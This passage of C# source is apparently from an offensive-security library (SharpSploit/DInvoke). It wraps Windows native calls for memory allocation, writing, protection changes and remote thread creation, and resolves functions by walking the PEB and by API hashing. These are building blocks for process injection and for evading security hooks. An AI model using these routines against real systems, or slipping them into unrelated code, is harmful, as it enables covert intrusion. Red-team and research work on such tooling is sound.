2918 | public static IntPtr NtAllocateVirtualMemory(IntPtr ProcessHandle, ref IntPtr BaseAddress, IntPtr ZeroBits, ref IntPtr RegionSize, UInt32 AllocationType, UInt32 Protect)
2919 | {
2920 | // Craft an array for the arguments
2921 | object[] funcargs =
2922 | {
2923 | ProcessHandle, BaseAddress, ZeroBits, RegionSize, AllocationType, Protect
2924 | };
2925 |
2926 | Native.NTSTATUS retValue = (Native.NTSTATUS)DynamicGeneric.DynamicAPIInvoke(@"ntdll.dll", @"NtAllocateVirtualMemory", typeof(DELEGATES.NtAllocateVirtualMemory), ref funcargs);
2927 | if (retValue == Native.NTSTATUS.AccessDenied)
2928 | {
2929 | // STATUS_ACCESS_DENIED
2930 | throw new UnauthorizedAccessException("Access is denied.");
2931 | }
2932 | if (retValue == Native.NTSTATUS.AlreadyCommitted)
2933 | {
2934 | // STATUS_ALREADY_COMMITTED
2935 | throw new InvalidOperationException("The specified address range is already committed.");
2936 | }
2937 | if (retValue == Native.NTSTATUS.CommitmentLimit)
2938 | {
2939 | // STATUS_COMMITMENT_LIMIT
2940 | throw new InvalidOperationException("Your system is low on virtual memory.");
2941 | }
2942 | if (retValue == Native.NTSTATUS.ConflictingAddresses)
2943 | {
2944 | // STATUS_CONFLICTING_ADDRESSES
2945 | throw new InvalidOperationException("The specified address range conflicts with the address space.");
2946 | }
2947 | if (retValue == Native.NTSTATUS.InsufficientResources)
2948 | {
2949 | // STATUS_INSUFFICIENT_RESOURCES
2950 | throw new InvalidOperationException("Insufficient system resources exist to complete the API call.");
2951 | }
2952 | if (retValue == Native.NTSTATUS.InvalidHandle)
2953 | {
2954 | // STATUS_INVALID_HANDLE
2955 | throw new InvalidOperationException("An invalid HANDLE was specified.");
2956 | }
2957 | if (retValue == Native.NTSTATUS.InvalidPageProtection)
2958 | {
2959 | // STATUS_INVALID_PAGE_PROTECTION
2960 | throw new InvalidOperationException("The specified page protection was not valid.");
2961 | }
2962 | if (retValue == Native.NTSTATUS.NoMemory)
2963 | {
2964 | // STATUS_NO_MEMORY
2965 | throw new InvalidOperationException("Not enough virtual memory or paging file quota is available to complete the specified operation.");
2966 | }
2967 | if (retValue == Native.NTSTATUS.ObjectTypeMismatch)
2968 | {
2969 | // STATUS_OBJECT_TYPE_MISMATCH
2970 | throw new InvalidOperationException("There is a mismatch between the type of object that is required by the requested operation and the type of object that is specified in the request.");
2971 | }
2972 | if (retValue != Native.NTSTATUS.Success)
2973 | {
2974 | // STATUS_PROCESS_IS_TERMINATING == 0xC000010A
2975 | throw new InvalidOperationException("An attempt was made to duplicate an object handle into or out of an exiting process.");
2976 | }
2977 |
2978 | BaseAddress = (IntPtr)funcargs[1];
2979 | return BaseAddress;
2980 | }
2981 |
2982 | public static void NtFreeVirtualMemory(IntPtr ProcessHandle, ref IntPtr BaseAddress, ref IntPtr RegionSize, UInt32 FreeType)
2983 | {
2984 | // Craft an array for the arguments
2985 | object[] funcargs =
2986 | {
2987 | ProcessHandle, BaseAddress, RegionSize, FreeType
2988 | };
2989 |
2990 | Native.NTSTATUS retValue = (Native.NTSTATUS)DynamicGeneric.DynamicAPIInvoke(@"ntdll.dll", @"NtFreeVirtualMemory", typeof(DELEGATES.NtFreeVirtualMemory), ref funcargs);
2991 | if (retValue == Native.NTSTATUS.AccessDenied)
2992 | {
2993 | // STATUS_ACCESS_DENIED
2994 | throw new UnauthorizedAccessException("Access is denied.");
2995 | }
2996 | if (retValue == Native.NTSTATUS.InvalidHandle)
2997 | {
2998 | // STATUS_INVALID_HANDLE
2999 | throw new InvalidOperationException("An invalid HANDLE was specified.");
3000 | }
3001 | if (retValue != Native.NTSTATUS.Success)
3002 | {
3003 | // STATUS_OBJECT_TYPE_MISMATCH == 0xC0000024
3004 | throw new InvalidOperationException("There is a mismatch between the type of object that is required by the requested operation and the type of object that is specified in the request.");
3005 | }
3006 | }
3007 |
3008 | public static string GetFilenameFromMemoryPointer(IntPtr hProc, IntPtr pMem)
3009 | {
3010 | // Alloc buffer for result struct
3011 | IntPtr pBase = IntPtr.Zero;
3012 | IntPtr RegionSize = (IntPtr)0x500;
3013 | IntPtr pAlloc = NtAllocateVirtualMemory(hProc, ref pBase, IntPtr.Zero, ref RegionSize, Win32.Kernel32.MEM_COMMIT | Win32.Kernel32.MEM_RESERVE, Win32.WinNT.PAGE_READWRITE);
3014 |
3015 | // Prepare NtQueryVirtualMemory parameters
3016 | Native.MEMORYINFOCLASS memoryInfoClass = Native.MEMORYINFOCLASS.MemorySectionName;
3017 | UInt32 MemoryInformationLength = 0x500;
3018 | UInt32 Retlen = 0;
3019 |
3020 | // Craft an array for the arguments
3021 | object[] funcargs =
3022 | {
3023 | hProc, pMem, memoryInfoClass, pAlloc, MemoryInformationLength, Retlen
3024 | };
3025 |
3026 | Native.NTSTATUS retValue = (Native.NTSTATUS)DynamicGeneric.DynamicAPIInvoke(@"ntdll.dll", @"NtQueryVirtualMemory", typeof(DELEGATES.NtQueryVirtualMemory), ref funcargs);
3027 |
3028 | string FilePath = string.Empty;
3029 | if (retValue == Native.NTSTATUS.Success)
3030 | {
3031 | Native.UNICODE_STRING sn = (Native.UNICODE_STRING)Marshal.PtrToStructure(pAlloc, typeof(Native.UNICODE_STRING));
3032 | FilePath = Marshal.PtrToStringUni(sn.Buffer);
3033 | }
3034 |
3035 | // Free allocation
3036 | NtFreeVirtualMemory(hProc, ref pAlloc, ref RegionSize, Win32.Kernel32.MEM_RELEASE);
3037 | if (retValue == Native.NTSTATUS.AccessDenied)
3038 | {
3039 | // STATUS_ACCESS_DENIED
3040 | throw new UnauthorizedAccessException("Access is denied.");
3041 | }
3042 | if (retValue == Native.NTSTATUS.AccessViolation)
3043 | {
3044 | // STATUS_ACCESS_VIOLATION
3045 | throw new InvalidOperationException("The specified base address is an invalid virtual address.");
3046 | }
3047 | if (retValue == Native.NTSTATUS.InfoLengthMismatch)
3048 | {
3049 | // STATUS_INFO_LENGTH_MISMATCH
3050 | throw new InvalidOperationException("The MemoryInformation buffer is larger than MemoryInformationLength.");
3051 | }
3052 | if (retValue == Native.NTSTATUS.InvalidParameter)
3053 | {
3054 | // STATUS_INVALID_PARAMETER
3055 | throw new InvalidOperationException("The specified base address is outside the range of accessible addresses.");
3056 | }
3057 | return FilePath;
3058 | }
3059 |
3060 | public static UInt32 NtProtectVirtualMemory(IntPtr ProcessHandle, ref IntPtr BaseAddress, ref IntPtr RegionSize, UInt32 NewProtect)
3061 | {
3062 | // Craft an array for the arguments
3063 | UInt32 OldProtect = 0;
3064 | object[] funcargs =
3065 | {
3066 | ProcessHandle, BaseAddress, RegionSize, NewProtect, OldProtect
3067 | };
3068 |
3069 | Native.NTSTATUS retValue = (Native.NTSTATUS)DynamicGeneric.DynamicAPIInvoke(@"ntdll.dll", @"NtProtectVirtualMemory", typeof(DELEGATES.NtProtectVirtualMemory), ref funcargs);
3070 | if (retValue != Native.NTSTATUS.Success)
3071 | {
3072 | throw new InvalidOperationException("Failed to change memory protection, " + retValue);
3073 | }
3074 |
3075 | OldProtect = (UInt32)funcargs[4];
3076 | return OldProtect;
3077 | }
3078 |
3079 | public static UInt32 NtWriteVirtualMemory(IntPtr ProcessHandle, IntPtr BaseAddress, IntPtr Buffer, UInt32 BufferLength)
3080 | {
3081 | // Craft an array for the arguments
3082 | UInt32 BytesWritten = 0;
3083 | object[] funcargs =
3084 | {
3085 | ProcessHandle, BaseAddress, Buffer, BufferLength, BytesWritten
3086 | };
3087 |
3088 | Native.NTSTATUS retValue = (Native.NTSTATUS)DynamicGeneric.DynamicAPIInvoke(@"ntdll.dll", @"NtWriteVirtualMemory", typeof(DELEGATES.NtWriteVirtualMemory), ref funcargs);
3089 | if (retValue != Native.NTSTATUS.Success)
3090 | {
3091 | throw new InvalidOperationException("Failed to write memory, " + retValue);
3092 | }
3093 |
3094 | BytesWritten = (UInt32)funcargs[4];
3095 | return BytesWritten;
3096 | }
3097 |
3098 | public static IntPtr LdrGetProcedureAddress(IntPtr hModule, IntPtr FunctionName, IntPtr Ordinal, ref IntPtr FunctionAddress)
3099 | {
3100 | // Craft an array for the arguments
3101 | object[] funcargs =
3102 | {
3103 | hModule, FunctionName, Ordinal, FunctionAddress
3104 | };
3105 |
3106 | Native.NTSTATUS retValue = (Native.NTSTATUS)DynamicGeneric.DynamicAPIInvoke(@"ntdll.dll", @"LdrGetProcedureAddress", typeof(DELEGATES.LdrGetProcedureAddress), ref funcargs);
3107 | if (retValue != Native.NTSTATUS.Success)
3108 | {
3109 | throw new InvalidOperationException("Failed get procedure address, " + retValue);
3110 | }
3111 |
3112 | FunctionAddress = (IntPtr)funcargs[3];
3113 | return FunctionAddress;
3114 | }
3115 |
3116 | public static void RtlGetVersion(ref Native.OSVERSIONINFOEX VersionInformation)
3117 | {
3118 | // Craft an array for the arguments
3119 | object[] funcargs =
3120 | {
3121 | VersionInformation
3122 | };
3123 |
3124 | Native.NTSTATUS retValue = (Native.NTSTATUS)DynamicGeneric.DynamicAPIInvoke(@"ntdll.dll", @"RtlGetVersion", typeof(DELEGATES.RtlGetVersion), ref funcargs);
3125 | if (retValue != Native.NTSTATUS.Success)
3126 | {
3127 | throw new InvalidOperationException("Failed get procedure address, " + retValue);
3128 | }
3129 |
3130 | VersionInformation = (Native.OSVERSIONINFOEX)funcargs[0];
3131 | }
3132 |
3133 | public static UInt32 NtReadVirtualMemory(IntPtr ProcessHandle, IntPtr BaseAddress, IntPtr Buffer, ref UInt32 NumberOfBytesToRead)
3134 | {
3135 | // Craft an array for the arguments
3136 | UInt32 NumberOfBytesRead = 0;
3137 | object[] funcargs =
3138 | {
3139 | ProcessHandle, BaseAddress, Buffer, NumberOfBytesToRead, NumberOfBytesRead
3140 | };
3141 |
3142 | Native.NTSTATUS retValue = (Native.NTSTATUS)DynamicGeneric.DynamicAPIInvoke(@"ntdll.dll", @"NtReadVirtualMemory", typeof(DELEGATES.NtReadVirtualMemory), ref funcargs);
3143 | if (retValue != Native.NTSTATUS.Success)
3144 | {
3145 | throw new InvalidOperationException("Failed to read memory, " + retValue);
3146 | }
3147 |
3148 | NumberOfBytesRead = (UInt32)funcargs[4];
3149 | return NumberOfBytesRead;
3150 | }
3151 |
3152 | public static IntPtr NtOpenFile(ref IntPtr FileHandle, Win32.Kernel32.FileAccessFlags DesiredAccess, ref Native.OBJECT_ATTRIBUTES ObjAttr, ref Native.IO_STATUS_BLOCK IoStatusBlock, Win32.Kernel32.FileShareFlags ShareAccess, Win32.Kernel32.FileOpenFlags OpenOptions)
3153 | {
3154 | // Craft an array for the arguments
3155 | object[] funcargs =
3156 | {
3157 | FileHandle, DesiredAccess, ObjAttr, IoStatusBlock, ShareAccess, OpenOptions
3158 | };
3159 |
3160 | Native.NTSTATUS retValue = (Native.NTSTATUS)DynamicGeneric.DynamicAPIInvoke(@"ntdll.dll", @"NtOpenFile", typeof(DELEGATES.NtOpenFile), ref funcargs);
3161 | if (retValue != Native.NTSTATUS.Success)
3162 | {
3163 | throw new InvalidOperationException("Failed to open file, " + retValue);
3164 | }
3165 |
3166 |
3167 | FileHandle = (IntPtr)funcargs[0];
3168 | return FileHandle;
3169 | }
3170 |
3171 | ///
3172 | /// Holds delegates for API calls in the NT Layer.
3173 | /// Must be public so that they may be used with SharpSploit.Execution.DynamicGeneric.DynamicFunctionInvoke
3174 | ///
3175 | ///
3176 | ///
3177 | /// // These delegates may also be used directly.
3178 | ///
3179 | /// // Get a pointer to the NtCreateThreadEx function.
3180 | /// IntPtr pFunction = Execution.DynamicGeneric.GetLibraryAddress(@"ntdll.dll", "NtCreateThreadEx");
3181 | ///
3182 | /// // Create an instance of a NtCreateThreadEx delegate from our function pointer.
3183 | /// DELEGATES.NtCreateThreadEx createThread = (NATIVE_DELEGATES.NtCreateThreadEx)Marshal.GetDelegateForFunctionPointer(
3184 | /// pFunction, typeof(NATIVE_DELEGATES.NtCreateThreadEx));
3185 | ///
3186 | /// // Invoke NtCreateThreadEx using the delegate
3187 | /// createThread(ref threadHandle, Win32.WinNT.ACCESS_MASK.SPECIFIC_RIGHTS_ALL | Win32.WinNT.ACCESS_MASK.STANDARD_RIGHTS_ALL, IntPtr.Zero,
3188 | /// procHandle, startAddress, IntPtr.Zero, Native.NT_CREATION_FLAGS.HIDE_FROM_DEBUGGER, 0, 0, 0, IntPtr.Zero);
3189 | ///
3190 | ///
3191 | public struct DELEGATES
3192 | {
3193 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
3194 | public delegate Native.NTSTATUS NtCreateThreadEx(
3195 | out IntPtr threadHandle,
3196 | Win32.WinNT.ACCESS_MASK desiredAccess,
3197 | IntPtr objectAttributes,
3198 | IntPtr processHandle,
3199 | IntPtr startAddress,
3200 | IntPtr parameter,
3201 | bool createSuspended,
3202 | int stackZeroBits,
3203 | int sizeOfStack,
3204 | int maximumStackSize,
3205 | IntPtr attributeList);
3206 |
3207 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
3208 | public delegate Native.NTSTATUS RtlCreateUserThread(
3209 | IntPtr Process,
3210 | IntPtr ThreadSecurityDescriptor,
3211 | bool CreateSuspended,
3212 | IntPtr ZeroBits,
3213 | IntPtr MaximumStackSize,
3214 | IntPtr CommittedStackSize,
3215 | IntPtr StartAddress,
3216 | IntPtr Parameter,
3217 | ref IntPtr Thread,
3218 | IntPtr ClientId);
3219 |
3220 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
3221 | public delegate Native.NTSTATUS NtCreateSection(
3222 | ref IntPtr SectionHandle,
3223 | uint DesiredAccess,
3224 | IntPtr ObjectAttributes,
3225 | ref ulong MaximumSize,
3226 | uint SectionPageProtection,
3227 | uint AllocationAttributes,
3228 | IntPtr FileHandle);
3229 |
3230 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
3231 | public delegate Native.NTSTATUS NtUnmapViewOfSection(
3232 | IntPtr hProc,
3233 | IntPtr baseAddr);
3234 |
3235 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
3236 | public delegate Native.NTSTATUS NtMapViewOfSection(
3237 | IntPtr SectionHandle,
3238 | IntPtr ProcessHandle,
3239 | out IntPtr BaseAddress,
3240 | IntPtr ZeroBits,
3241 | IntPtr CommitSize,
3242 | IntPtr SectionOffset,
3243 | out ulong ViewSize,
3244 | uint InheritDisposition,
3245 | uint AllocationType,
3246 | uint Win32Protect);
3247 |
3248 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
3249 | public delegate UInt32 LdrLoadDll(
3250 | IntPtr PathToFile,
3251 | UInt32 dwFlags,
3252 | ref Native.UNICODE_STRING ModuleFileName,
3253 | ref IntPtr ModuleHandle);
3254 |
3255 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
3256 | public delegate void RtlInitUnicodeString(
3257 | ref Native.UNICODE_STRING DestinationString,
3258 | [MarshalAs(UnmanagedType.LPWStr)]
3259 | string SourceString);
3260 |
3261 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
3262 | public delegate void RtlZeroMemory(
3263 | IntPtr Destination,
3264 | int length);
3265 |
3266 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
3267 | public delegate UInt32 NtQueryInformationProcess(
3268 | IntPtr processHandle,
3269 | Native.PROCESSINFOCLASS processInformationClass,
3270 | IntPtr processInformation,
3271 | int processInformationLength,
3272 | ref UInt32 returnLength);
3273 |
3274 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
3275 | public delegate UInt32 NtOpenProcess(
3276 | ref IntPtr ProcessHandle,
3277 | Win32.Kernel32.ProcessAccessFlags DesiredAccess,
3278 | ref Native.OBJECT_ATTRIBUTES ObjectAttributes,
3279 | ref Native.CLIENT_ID ClientId);
3280 |
3281 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
3282 | public delegate UInt32 NtQueueApcThread(
3283 | IntPtr ThreadHandle,
3284 | IntPtr ApcRoutine,
3285 | IntPtr ApcArgument1,
3286 | IntPtr ApcArgument2,
3287 | IntPtr ApcArgument3);
3288 |
3289 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
3290 | public delegate UInt32 NtOpenThread(
3291 | ref IntPtr ThreadHandle,
3292 | Win32.Kernel32.ThreadAccess DesiredAccess,
3293 | ref Native.OBJECT_ATTRIBUTES ObjectAttributes,
3294 | ref Native.CLIENT_ID ClientId);
3295 |
3296 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
3297 | public delegate UInt32 NtAllocateVirtualMemory(
3298 | IntPtr ProcessHandle,
3299 | ref IntPtr BaseAddress,
3300 | IntPtr ZeroBits,
3301 | ref IntPtr RegionSize,
3302 | UInt32 AllocationType,
3303 | UInt32 Protect);
3304 |
3305 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
3306 | public delegate UInt32 NtFreeVirtualMemory(
3307 | IntPtr ProcessHandle,
3308 | ref IntPtr BaseAddress,
3309 | ref IntPtr RegionSize,
3310 | UInt32 FreeType);
3311 |
3312 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
3313 | public delegate UInt32 NtQueryVirtualMemory(
3314 | IntPtr ProcessHandle,
3315 | IntPtr BaseAddress,
3316 | Native.MEMORYINFOCLASS MemoryInformationClass,
3317 | IntPtr MemoryInformation,
3318 | UInt32 MemoryInformationLength,
3319 | ref UInt32 ReturnLength);
3320 |
3321 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
3322 | public delegate UInt32 NtProtectVirtualMemory(
3323 | IntPtr ProcessHandle,
3324 | ref IntPtr BaseAddress,
3325 | ref IntPtr RegionSize,
3326 | UInt32 NewProtect,
3327 | ref UInt32 OldProtect);
3328 |
3329 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
3330 | public delegate UInt32 NtWriteVirtualMemory(
3331 | IntPtr ProcessHandle,
3332 | IntPtr BaseAddress,
3333 | IntPtr Buffer,
3334 | UInt32 BufferLength,
3335 | ref UInt32 BytesWritten);
3336 |
3337 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
3338 | public delegate UInt32 RtlUnicodeStringToAnsiString(
3339 | ref Native.ANSI_STRING DestinationString,
3340 | ref Native.UNICODE_STRING SourceString,
3341 | bool AllocateDestinationString);
3342 |
3343 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
3344 | public delegate UInt32 LdrGetProcedureAddress(
3345 | IntPtr hModule,
3346 | IntPtr FunctionName,
3347 | IntPtr Ordinal,
3348 | ref IntPtr FunctionAddress);
3349 |
3350 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
3351 | public delegate UInt32 RtlGetVersion(
3352 | ref Native.OSVERSIONINFOEX VersionInformation);
3353 |
3354 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
3355 | public delegate UInt32 NtReadVirtualMemory(
3356 | IntPtr ProcessHandle,
3357 | IntPtr BaseAddress,
3358 | IntPtr Buffer,
3359 | UInt32 NumberOfBytesToRead,
3360 | ref UInt32 NumberOfBytesRead);
3361 |
3362 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
3363 | public delegate UInt32 NtOpenFile(
3364 | ref IntPtr FileHandle,
3365 | Win32.Kernel32.FileAccessFlags DesiredAccess,
3366 | ref Native.OBJECT_ATTRIBUTES ObjAttr,
3367 | ref Native.IO_STATUS_BLOCK IoStatusBlock,
3368 | Win32.Kernel32.FileShareFlags ShareAccess,
3369 | Win32.Kernel32.FileOpenFlags OpenOptions);
3370 | }
3371 | }
3372 |
3373 | public class DynamicGeneric
3374 | {
3375 | ///
3376 | /// Dynamically invoke an arbitrary function from a DLL, providing its name, function prototype, and arguments.
3377 | ///
3378 | /// The Wover (@TheRealWover)
3379 | /// Name of the DLL.
3380 | /// Name of the function.
3381 | /// Prototype for the function, represented as a Delegate object.
3382 | /// Parameters to pass to the function. Can be modified if function uses call by reference.
3383 | /// Object returned by the function. Must be unmarshalled by the caller.
3384 | public static object DynamicAPIInvoke(string DLLName, string FunctionName, Type FunctionDelegateType, ref object[] Parameters)
3385 | {
3386 | IntPtr pFunction = GetLibraryAddress(DLLName, FunctionName);
3387 | return DynamicFunctionInvoke(pFunction, FunctionDelegateType, ref Parameters);
3388 | }
3389 |
3390 | ///
3391 | /// Dynamically invokes an arbitrary function from a pointer. Useful for manually mapped modules or loading/invoking unmanaged code from memory.
3392 | ///
3393 | /// The Wover (@TheRealWover)
3394 | /// A pointer to the unmanaged function.
3395 | /// Prototype for the function, represented as a Delegate object.
3396 | /// Arbitrary set of parameters to pass to the function. Can be modified if function uses call by reference.
3397 | /// Object returned by the function. Must be unmarshalled by the caller.
3398 | public static object DynamicFunctionInvoke(IntPtr FunctionPointer, Type FunctionDelegateType, ref object[] Parameters)
3399 | {
3400 | Delegate funcDelegate = Marshal.GetDelegateForFunctionPointer(FunctionPointer, FunctionDelegateType);
3401 | return funcDelegate.DynamicInvoke(Parameters);
3402 | }
3403 |
3404 | ///
3405 | /// Resolves LdrLoadDll and uses that function to load a DLL from disk.
3406 | ///
3407 | /// Ruben Boonen (@FuzzySec)
3408 | /// The path to the DLL on disk. Uses the LoadLibrary convention.
3409 | /// IntPtr base address of the loaded module or IntPtr.Zero if the module was not loaded successfully.
3410 | public static IntPtr LoadModuleFromDisk(string DLLPath)
3411 | {
3412 | Native.UNICODE_STRING uModuleName = new Native.UNICODE_STRING();
3413 | DynamicNative.RtlInitUnicodeString(ref uModuleName, DLLPath);
3414 |
3415 | IntPtr hModule = IntPtr.Zero;
3416 | Native.NTSTATUS CallResult = DynamicNative.LdrLoadDll(IntPtr.Zero, 0, ref uModuleName, ref hModule);
3417 | if (CallResult != Native.NTSTATUS.Success || hModule == IntPtr.Zero)
3418 | {
3419 | return IntPtr.Zero;
3420 | }
3421 |
3422 | return hModule;
3423 | }
3424 |
3425 | ///
3426 | /// Helper for getting the pointer to a function from a DLL loaded by the process.
3427 | ///
3428 | /// Ruben Boonen (@FuzzySec)
3429 | /// The name of the DLL (e.g. "ntdll.dll" or "C:\Windows\System32\ntdll.dll").
3430 | /// Name of the exported procedure.
3431 | /// Optional, indicates if the function can try to load the DLL from disk if it is not found in the loaded module list.
3432 | /// IntPtr for the desired function.
3433 | public static IntPtr GetLibraryAddress(string DLLName, string FunctionName, bool CanLoadFromDisk = false)
3434 | {
3435 | IntPtr hModule = GetLoadedModuleAddress(DLLName);
3436 | if (hModule == IntPtr.Zero && CanLoadFromDisk)
3437 | {
3438 | hModule = LoadModuleFromDisk(DLLName);
3439 | if (hModule == IntPtr.Zero)
3440 | {
3441 | throw new FileNotFoundException(DLLName + ", unable to find the specified file.");
3442 | }
3443 | }
3444 | else if (hModule == IntPtr.Zero)
3445 | {
3446 | throw new DllNotFoundException(DLLName + ", Dll was not found.");
3447 | }
3448 |
3449 | return GetExportAddress(hModule, FunctionName);
3450 | }
3451 |
3452 | ///
3453 | /// Helper for getting the pointer to a function from a DLL loaded by the process.
3454 | ///
3455 | /// Ruben Boonen (@FuzzySec)
3456 | /// The name of the DLL (e.g. "ntdll.dll" or "C:\Windows\System32\ntdll.dll").
3457 | /// Ordinal of the exported procedure.
3458 | /// Optional, indicates if the function can try to load the DLL from disk if it is not found in the loaded module list.
3459 | /// IntPtr for the desired function.
3460 | public static IntPtr GetLibraryAddress(string DLLName, short Ordinal, bool CanLoadFromDisk = false)
3461 | {
3462 | IntPtr hModule = GetLoadedModuleAddress(DLLName);
3463 | if (hModule == IntPtr.Zero && CanLoadFromDisk)
3464 | {
3465 | hModule = LoadModuleFromDisk(DLLName);
3466 | if (hModule == IntPtr.Zero)
3467 | {
3468 | throw new FileNotFoundException(DLLName + ", unable to find the specified file.");
3469 | }
3470 | }
3471 | else if (hModule == IntPtr.Zero)
3472 | {
3473 | throw new DllNotFoundException(DLLName + ", Dll was not found.");
3474 | }
3475 |
3476 | return GetExportAddress(hModule, Ordinal);
3477 | }
3478 |
3479 | ///
3480 | /// Helper for getting the pointer to a function from a DLL loaded by the process.
3481 | ///
3482 | /// Ruben Boonen (@FuzzySec)
3483 | /// The name of the DLL (e.g. "ntdll.dll" or "C:\Windows\System32\ntdll.dll").
3484 | /// Hash of the exported procedure.
3485 | /// 64-bit integer to initialize the keyed hash object (e.g. 0xabc or 0x1122334455667788).
3486 | /// Optional, indicates if the function can try to load the DLL from disk if it is not found in the loaded module list.
3487 | /// IntPtr for the desired function.
3488 | public static IntPtr GetLibraryAddress(string DLLName, string FunctionHash, long Key, bool CanLoadFromDisk = false)
3489 | {
3490 | IntPtr hModule = GetLoadedModuleAddress(DLLName);
3491 | if (hModule == IntPtr.Zero && CanLoadFromDisk)
3492 | {
3493 | hModule = LoadModuleFromDisk(DLLName);
3494 | if (hModule == IntPtr.Zero)
3495 | {
3496 | throw new FileNotFoundException(DLLName + ", unable to find the specified file.");
3497 | }
3498 | }
3499 | else if (hModule == IntPtr.Zero)
3500 | {
3501 | throw new DllNotFoundException(DLLName + ", Dll was not found.");
3502 | }
3503 |
3504 | return GetExportAddress(hModule, FunctionHash, Key);
3505 | }
3506 |
3507 | ///
3508 | /// Helper for getting the base address of a module loaded by the current process. This base
3509 | /// address could be passed to GetProcAddress/LdrGetProcedureAddress or it could be used for
3510 | /// manual export parsing. This function uses the .NET System.Diagnostics.Process class.
3511 | ///
3512 | /// Ruben Boonen (@FuzzySec)
3513 | /// The name of the DLL (e.g. "ntdll.dll").
3514 | /// IntPtr base address of the loaded module or IntPtr.Zero if the module is not found.
3515 | public static IntPtr GetLoadedModuleAddress(string DLLName)
3516 | {
3517 | ProcessModuleCollection ProcModules = Process.GetCurrentProcess().Modules;
3518 | foreach (ProcessModule Mod in ProcModules)
3519 | {
3520 | if (Mod.FileName.ToLower().EndsWith(DLLName.ToLower()))
3521 | {
3522 | return Mod.BaseAddress;
3523 | }
3524 | }
3525 | return IntPtr.Zero;
3526 | }
3527 |
3528 | ///
3529 | /// Helper for getting the base address of a module loaded by the current process. This base
3530 | /// address could be passed to GetProcAddress/LdrGetProcedureAddress or it could be used for
3531 | /// manual export parsing. This function parses the _PEB_LDR_DATA structure.
3532 | ///
3533 | /// Ruben Boonen (@FuzzySec)
3534 | /// The name of the DLL (e.g. "ntdll.dll").
3535 | /// IntPtr base address of the loaded module or IntPtr.Zero if the module is not found.
3536 | public static IntPtr GetPebLdrModuleEntry(string DLLName)
3537 | {
3538 | // Get _PEB pointer
3539 | Native.PROCESS_BASIC_INFORMATION pbi = DynamicNative.NtQueryInformationProcessBasicInformation((IntPtr)(-1));
3540 |
3541 | // Set function variables
3542 | bool Is32Bit = false;
3543 | UInt32 LdrDataOffset = 0;
3544 | UInt32 InLoadOrderModuleListOffset = 0;
3545 | if (IntPtr.Size == 4)
3546 | {
3547 | Is32Bit = true;
3548 | LdrDataOffset = 0xc;
3549 | InLoadOrderModuleListOffset = 0xC;
3550 | }
3551 | else
3552 | {
3553 | LdrDataOffset = 0x18;
3554 | InLoadOrderModuleListOffset = 0x10;
3555 | }
3556 |
3557 | // Get module InLoadOrderModuleList -> _LIST_ENTRY
3558 | IntPtr PEB_LDR_DATA = Marshal.ReadIntPtr((IntPtr)((UInt64)pbi.PebBaseAddress + LdrDataOffset));
3559 | IntPtr pInLoadOrderModuleList = (IntPtr)((UInt64)PEB_LDR_DATA + InLoadOrderModuleListOffset);
3560 | Native.LIST_ENTRY le = (Native.LIST_ENTRY)Marshal.PtrToStructure(pInLoadOrderModuleList, typeof(Native.LIST_ENTRY));
3561 |
3562 | // Loop entries
3563 | IntPtr flink = le.Flink;
3564 | IntPtr hModule = IntPtr.Zero;
3565 | PE.LDR_DATA_TABLE_ENTRY dte = (PE.LDR_DATA_TABLE_ENTRY)Marshal.PtrToStructure(flink, typeof(PE.LDR_DATA_TABLE_ENTRY));
3566 | while (dte.InLoadOrderLinks.Flink != le.Blink)
3567 | {
3568 | // Match module name
3569 | if (Marshal.PtrToStringUni(dte.FullDllName.Buffer).EndsWith(DLLName, StringComparison.OrdinalIgnoreCase))
3570 | {
3571 | hModule = dte.DllBase;
3572 | }
3573 |
3574 | // Move Ptr
3575 | flink = dte.InLoadOrderLinks.Flink;
3576 | dte = (PE.LDR_DATA_TABLE_ENTRY)Marshal.PtrToStructure(flink, typeof(PE.LDR_DATA_TABLE_ENTRY));
3577 | }
3578 |
3579 | return hModule;
3580 | }
3581 |
3582 | ///
3583 | /// Generate an HMAC-MD5 hash of the supplied string using an Int64 as the key. This is useful for unique hash based API lookups.
3584 | ///
3585 | /// Ruben Boonen (@FuzzySec)
3586 | /// API name to hash.
3587 | /// 64-bit integer to initialize the keyed hash object (e.g. 0xabc or 0x1122334455667788).
3588 | /// string, the computed MD5 hash value.
3589 | public static string GetAPIHash(string APIName, long Key)
3590 | {
3591 | byte[] data = Encoding.UTF8.GetBytes(APIName.ToLower());
3592 | byte[] kbytes = BitConverter.GetBytes(Key);
3593 |
3594 | using (HMACMD5 hmac = new HMACMD5(kbytes))
3595 | {
3596 | byte[] bHash = hmac.ComputeHash(data);
3597 | return BitConverter.ToString(bHash).Replace("-", "");
3598 | }
3599 | }
3600 |
3601 | ///
3602 | /// Given a module base address, resolve the address of a function by manually walking the module export table.
3603 | ///
3604 | /// Ruben Boonen (@FuzzySec)
3605 | /// A pointer to the base address where the module is loaded in the current process.
3606 | /// The name of the export to search for (e.g. "NtAlertResumeThread").
3607 | /// IntPtr for the desired function.
3608 | public static IntPtr GetExportAddress(IntPtr ModuleBase, string ExportName)
3609 | {
3610 | IntPtr FunctionPtr = IntPtr.Zero;
3611 | try
3612 | {
3613 | // Traverse the PE header in memory
3614 | Int32 PeHeader = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + 0x3C));
3615 | Int16 OptHeaderSize = Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + PeHeader + 0x14));
